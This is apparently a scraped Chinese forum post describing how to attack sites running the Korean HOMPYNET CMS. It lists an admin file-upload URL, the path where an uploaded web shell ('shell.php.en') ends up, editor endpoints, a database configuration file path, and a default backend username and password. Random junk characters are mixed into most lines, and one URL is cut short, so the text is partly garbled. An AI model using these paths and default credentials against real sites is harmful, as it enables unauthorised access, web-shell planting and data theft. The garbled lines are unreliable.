韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

http://www.xxx.com/admin/image_a ... p;iname=&iform=
% R8 |7 O! P$ u3 Q3 n5 j# c& f
! k- F& g4 T6 B$ A  uhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
/ @$ B; o  W" u( E' n
上传后路径：

2 m3 M4 [, J/ ]6 S  u; chttp://www.xxx.com/bis_web_page/images/shell.php.en
9 @3 T6 B' O) I' D/ }! l; O& O, T
/ G/ z' A9 F! I) [1 Y  S& ]3 E编辑器：

/ K! b' r& j4 }9 ^http://www.xxx.com/admin/editor/SWE.php
3 M, h+ o. x! a0 n" X( {4 N) Z
8 _! c. x8 P  _" @8 Lhttp://www.xxx.com/program/editor/SWE.php

; h, y% h9 N' g  ~! Q" Q5 }数据配置文件路径：

: G: C% `$ E0 _/ O0 ihttp://www.xxx.com/m_config/DATA/g_setting.php

' U2 d! h8 \4 S; J# ^& U* B此程序通用后台账号 ：gamsiw  php99

* j$ ^3 L+ c/ h​

6 N( X! }- w' s/ m* G